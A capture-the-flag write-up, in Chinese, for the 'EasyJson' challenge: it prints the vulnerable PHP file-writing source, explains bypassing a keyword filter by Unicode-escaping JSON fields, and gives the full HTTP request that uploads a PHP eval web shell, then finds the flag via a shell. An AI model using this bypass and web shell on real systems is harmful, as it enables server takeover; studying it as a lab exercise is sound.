CTF_EasyJson

http://easyjson.d5116a.challenge.gcsis.cn/

<?php
include 'security.php';

if(!isset($_GET['source'])){
    show_source(__FILE__);
    die();
}
$sandbox = 'sandbox/'.sha1($_SERVER['HTTP_X_FORWARDED_FOR']).'/';
var_dump($sandbox);
if(!file_exists($sandbox)){
    mkdir($sandbox);
    file_put_contents($sandbox."index.php","<?php echo 'Welcome To Dbapp OSS.';?>");
}
$action = $_GET['action'];
$content = file_get_contents("php://input");


if($action == "write" &&  SecurityCheck('filename',$_GET['filename']) &&SecurityCheck('content',$content)){
    $content = json_decode($content);
    $filename = $_GET['filename'];
    $filecontent = $content->content;
    $filename = $sandbox.$filename;
    file_put_contents($filename,$filecontent."\n Powered By Dbapp OSS.");
}elseif($action == "reset"){
    $files = scandir($sandbox);
    foreach($files as $file) {
        if(!is_dir($file)){
            if($file !== "index.php"){
                unlink($sandbox.$file);
            }
        }
    }
}
else{
    die('Security Check Failed.');
}

创建以IP摘要的文件夹,然后从input流读入内容写入到指定目录的指定文件
测试发现带有on关键字会被检测

将n和content内容使用Unicode编码进行编码,利用json特性解析时自动解码绕过检测

POST /?source=x&action=write&filename=x.php HTTP/1.1
Host: easyjson.d5116a.challenge.gcsis.cn
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 175

{"co\u006etent":"\u003c\u003f\u0070\u0068\u0070\u0020\u0065\u0076\u0061\u006c\u0028\u0024\u005f\u0050\u004f\u0053\u0054\u005b\u0027\u0078\u0027\u005d\u0029\u003b\u003f\u003e"}

绕过检测,成功上传x.php文件,内容为<?php eval($_POST['x']);?>
使用蚁剑连接之

虚拟终端使用命令find / -name "*flag*"搜索flag

在根目录发现flag且为可执行文件,执行得到flag

posted @ 2020-10-08 20:11  AirSkys  阅读(816)  评论(0编辑  收藏  举报